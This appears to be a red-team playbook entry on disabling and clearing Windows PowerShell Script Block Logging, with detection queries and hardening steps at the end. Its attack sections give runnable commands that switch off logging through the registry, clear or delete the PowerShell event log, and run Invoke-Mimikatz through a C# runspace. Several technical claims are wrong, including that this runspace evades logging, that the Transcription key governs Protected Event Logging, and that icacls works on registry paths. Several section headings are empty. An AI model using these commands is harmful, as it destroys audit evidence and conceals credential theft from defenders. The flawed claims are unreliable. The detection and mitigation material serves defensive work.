| Attribute | Details |
|---|---|
| Technique ID | EVADE-IMPAIR-003 |
| MITRE ATT&CK v18.1 | T1562.002 - Disable Windows Event Logging |
| Tactic | Defense Evasion |
| Platforms | Windows Endpoint |
| Severity | High |
| CVE | N/A |
| Technique Status | ACTIVE (registry/HKLM methods partially patched with Protected Event Logging) |
| Last Verified | 2025-01-09 |
| Affected Versions | Windows 10 (all), Windows 11 (all); Server 2016-2025; PowerShell 5.0+ |
| Patched In | Protected Event Logging (PEL) encrypts logs (Windows 11 21H2+, Server 2022+); Tamper Protection prevents registry disabling |
| Author | SERVTEP – Artur Pchelnikau |
Concept: PowerShell Script Block Logging (SBL) is a Windows feature that logs the full content of PowerShell script blocks to Event ID 4104 in the Microsoft-Windows-PowerShell/Operational log. Script Block Logging Bypass techniques disable or circumvent this logging to execute malicious scripts without forensic evidence. Methods include disabling SBL via Group Policy/registry, clearing the PowerShell Operational event log, or using techniques like UnmanagedPowerShell to execute code outside the PowerShell runtime entirely. This is a critical evasion technique because SBL is one of the last detection points after AMSI bypass.
Attack Surface: PowerShell event logging infrastructure, registry HKLM paths for SBL configuration, Windows Event Log service, and PowerShell session initialization.
Business Impact: Undetectable Malicious Script Execution. Once AMSI and Script Block Logging are bypassed, attackers can execute credential dumping, lateral movement, data exfiltration, and ransomware deployment with zero forensic evidence in logs. Security teams lose the ability to reconstruct the attack timeline.
Technical Context: Script Block Logging generates EventID 4104 every time a PowerShell script block is executed. Modern detection engines (Splunk, Sentinel, MDE) use SBL as a primary detection source. Bypassing SBL eliminates this visibility, making post-compromise investigation extremely difficult.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 18.8.4.1, 18.8.4.2 | Ensure PowerShell logging is enabled and monitored. |
| DISA STIG | WN11-CC-000150 | Require PowerShell Script Block Logging. |
| CISA SCuBA | SC.L1.2 | Enforce script logging and behavioral monitoring. |
| NIST 800-53 | SI-4 (Information System Monitoring), SI-12 (Information Handling) | Detect and respond to security events; protect audit records. |
| GDPR | Art. 32, 33 | Security of processing; breach notification. |
| DORA | Art. 18, 19 | Incident reporting; detection and response. |
| NIS2 | Art. 21, 22 | Detection capabilities; Incident response procedures. |
| ISO 27001 | A.12.4.1 | Event logging and monitoring. |
| ISO 27005 | Risk Scenario | Loss of audit evidence; undetected compromise. |
Supported Versions:
# Check if Script Block Logging is enabled
Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" | Select-Object EnableScriptBlockLogging
# Check if Protected Event Logging is enabled
Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription" | Select-Object EnableTranscripting
# Check PowerShell Operational log size and event count
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -MaxEvents 5 | Select-Object EventID, Message
# Check if Event Log service is running
Get-Service EventLog | Select-Object Status, StartType
# Check PowerShell execution policy
Get-ExecutionPolicy -Scope LocalMachine
What to Look For:
1 = enabled; 0 or missing = disabled or not configured.1 = Protected Event Logging enabled; 0 = disabled.Running = logging is active.Version Note: Protected Event Logging is available on Windows 11 21H2+ and Server 2022+.
Supported Versions: Windows 10/11, Server 2016-2025
Objective: Disable SBL by modifying the HKLM registry key so that PowerShell no longer logs script blocks.
Command (PowerShell - Admin Required):
# Disable Script Block Logging
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" `
-Name "EnableScriptBlockLogging" -Value 0
# Verify it's disabled
Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" | Select-Object EnableScriptBlockLogging
Expected Output:
EnableScriptBlockLogging : 0
What This Means:
OpSec & Evasion:
Troubleshooting:
References:
Objective: Restart PowerShell to apply the disabled logging policy to new sessions.
Command:
# Close current session
exit
# Restart PowerShell (will inherit disabled SBL policy)
powershell.exe
Expected Output:
(PowerShell restarts without Script Block Logging)
What This Means:
Supported Versions: Windows 10/11, Server 2016-2025
Objective: Delete existing PowerShell script block logs to remove forensic evidence.
Command (PowerShell - Admin Required):
# Clear the PowerShell Operational log
Clear-EventLog -LogName "Microsoft-Windows-PowerShell/Operational" -Confirm:$false
# Verify log is cleared
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -ErrorAction SilentlyContinue | Measure-Object
Expected Output (After clearing):
Count : 0
What This Means:
OpSec & Evasion:
Troubleshooting:
References:
Objective: Delete the PowerShell event log file directly (more aggressive; requires SYSTEM).
Command (Command Prompt - SYSTEM Required):
# Stop Event Log service
net stop EventLog
# Delete PowerShell Operational log file
del "C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx"
# Restart Event Log service
net start EventLog
Expected Output:
The service has been stopped successfully.
The service has been started successfully.
What This Means:
OpSec & Evasion:
Supported Versions: Windows 10/11, Server 2016-2025
Objective: Execute PowerShell code via a C# assembly that bypasses PowerShell logging entirely.
Command (C# Code):
using System;
using System.Management.Automation;
class Program {
static void Main() {
// Create a PowerShell instance that bypasses logging
var ps = PowerShell.Create(RunspaceMode.NewRunspace);
// Add command (e.g., Mimikatz)
ps.AddCommand("Invoke-Mimikatz").AddParameter("Command", "privilege::debug");
// Execute without triggering SBL
var result = ps.Invoke();
// Print results
foreach (var obj in result) {
Console.WriteLine(obj);
}
}
}
Compilation:
# Compile C# to executable
csc.exe /out:UnmanagedPS.exe UnmanagedPS.cs /reference:"C:\Program Files\PowerShell\7\System.Management.Automation.dll"
# Execute
.\UnmanagedPS.exe
Expected Output:
(Depends on underlying command; if Mimikatz, outputs credential data)
What This Means:
OpSec & Evasion:
Troubleshooting:
C:\Program Files\PowerShell\7\ or C:\Windows\System32\WindowsPowerShell\v1.0\).References:
Supported Versions: Windows 10, Server 2016-2019 (PowerShell ISE still present)
Objective: PowerShell ISE (Integrated Scripting Environment) has different logging behavior; some versions have reduced logging.
Command:
# Launch PowerShell ISE
powershell_ise.exe
# In ISE, paste malicious script and execute
# ISE execution may not trigger Script Block Logging in older versions
Expected Output:
(Script executes; ISE displays output but may not log to Event Log)
What This Means:
OpSec & Evasion:
Troubleshooting:
Test ID: T1562.002 (Event Log Clearing variants)
Supported Tests:
Invoke-AtomicTest T1562.002 -TestNumbers 1
Invoke-AtomicTest T1562.002 -TestNumbers 1 -Cleanup
Invoke-AtomicTest T1562.002 -TestNumbers 2
Reference: Atomic Red Team Library - T1562.002
Version: PowerShell 5.0+ Usage:
Clear-EventLog -LogName "Microsoft-Windows-PowerShell/Operational"
References:
Version: All Windows versions Usage:
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
References:
Rule Configuration:
KQL Query:
// Detect disabling of PowerShell Script Block Logging
DeviceRegistryEvents
| where RegistryKeyPath contains "HKLM\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging"
| where RegistryValueName == "EnableScriptBlockLogging"
| where RegistryValueData == "0"
| project TimeGenerated, DeviceName, RegistryKeyPath, RegistryValueData, AccountName
What This Detects:
Manual Configuration (Azure Portal):
PowerShell Script Block Logging DisabledCritical1 minuteRule Configuration:
KQL Query:
// Detect clearing of PowerShell event logs
SecurityEvent
| where EventID == 1102 // Audit log cleared
| where Channel == "Microsoft-Windows-PowerShell/Operational"
OR SubjectUserName contains "powershell"
| project TimeGenerated, Computer, EventID, SubjectUserName, Channel
What This Detects:
Event ID: 4657 (Registry Value Modified)
Manual Configuration (Audit Registry):
icacls "HKLM:\Software\Policies\Microsoft\Windows\PowerShell" /grant:r "Everyone:(OA;CI;READ_CONTROL;;;S-1-1-0)"
Event ID: 1102 (Audit Log Cleared)
Manual Configuration (Group Policy):
gpupdate /forceMinimum Sysmon Version: 11.0+
<Rule name="Script Block Logging Disabled" groupRelation="or">
<RegistryEvent onmatch="all">
<TargetObject condition="contains">ScriptBlockLogging</TargetObject>
<Details condition="contains">0</Details>
<EventType>SetValue</EventType>
</RegistryEvent>
</Rule>
<Rule name="Event Log Service Stopped" groupRelation="or">
<ProcessCreate onmatch="all">
<Image condition="endswith">sc.exe</Image>
<CommandLine condition="contains all">stop; EventLog</CommandLine>
</ProcessCreate>
</Rule>
<Rule name="PowerShell Log File Deleted" groupRelation="or">
<FileDelete onmatch="all">
<TargetFilename condition="endswith">Microsoft-Windows-PowerShell%4Operational.evtx</TargetFilename>
</FileDelete>
</Rule>
Manual Configuration:
sysmon-config.xmlsysmon64.exe -accepteula -i sysmon-config.xml
Alert Name: “Suspicious Security Event Log Operations”
Manual Configuration (Enable MDE Alerts):
1. Enable Protected Event Logging (PEL)
Manual Steps (Group Policy):
# Generate self-signed certificate
$cert = New-SelfSignedCertificate -DnsName $env:COMPUTERNAME -CertStoreLocation Cert:\LocalMachine\My
gpupdate /forceManual Steps (Registry):
New-Item -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription" -Force
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription" `
-Name "EnableInvocationLogging" -Value 1
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription" `
-Name "EnableTranscripting" -Value 1
Validation:
Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription"
Expected Output:
EnableTranscripting : 1
EnableInvocationLogging : 1
2. Implement Remote Log Forwarding
Manual Steps (Group Policy - Event Forwarding):
Server=https://your-siem-server:5985/wsman/SubscriptionManager/WEC,Refresh=60
gpupdate /forceManual Steps (PowerShell - Create Subscription):
# On SIEM server (collector)
New-Item -Path "HKLM:\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager" -Force
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager" `
-Name "1" -Value "Server=https://localhost:5985/wsman/SubscriptionManager/WEC,Refresh=60"
3. Implement Constrained Language Mode + Script Block Logging
Manual Steps (Group Policy):
gpupdate /force4. Restrict Registry Permissions (HKLM - PowerShell Keys)
Manual Steps (NTFS Permissions):
# Restrict HKLM\Software\Policies\Microsoft\Windows\PowerShell to Admins only
$path = "HKLM:\Software\Policies\Microsoft\Windows\PowerShell"
icacls $path /grant:r "BUILTIN\Administrators:F" /inheritance:r
icacls $path /grant:r "SYSTEM:F" /inheritance:r
icacls $path /grant:r "BUILTIN\Users:R" /inheritance:r
5. Enable Audit of Registry Modifications
Manual Steps (Local Security Policy):
auditpol /set /subcategory:"Registry" /success:enable /failure:enable
# Check Script Block Logging is enabled
Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
# Check Protected Event Logging is enabled
Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription"
# Verify PowerShell Operational log is configured for remote forwarding
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -MaxEvents 1
Expected Output (If Secure):
EnableScriptBlockLogging : 1
EnableTranscripting : 1
(Recent events visible)
HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging (value 0)HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription (missing or value 0)C:\Windows\System32\winevt\Logs\Clear-EventLog, wevtutil, sc.exe commandsC:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtxC:\Windows\System32\config\SOFTWARE (contains policy settings)Disable-NetAdapter -Name "Ethernet" -Confirm:$false
# Check for backup of PowerShell logs (Volume Shadow Copy)
vssadmin list shadows /For=C:\
# Attempt to recover deleted event log
# Use forensic tools (Registry Explorer, FTK, EnCase)
# Re-enable Script Block Logging
Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" `
-Name "EnableScriptBlockLogging" -Value 1
# Restart PowerShell
exit
powershell.exe
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-005] Internal Spearphishing | Attacker gains user access. |
| 2 | Defense Evasion | [EVADE-IMPAIR-003] | Attacker disables PowerShell logging. |
| 3 | Credential Access | [CA-DUMP-001] Mimikatz via Obfuscated PS | Attacker dumps creds without SBL evidence. |
| 4 | Impact | [DATA-EXF-001] Data Exfiltration | Attacker exfiltrates with full deniability. |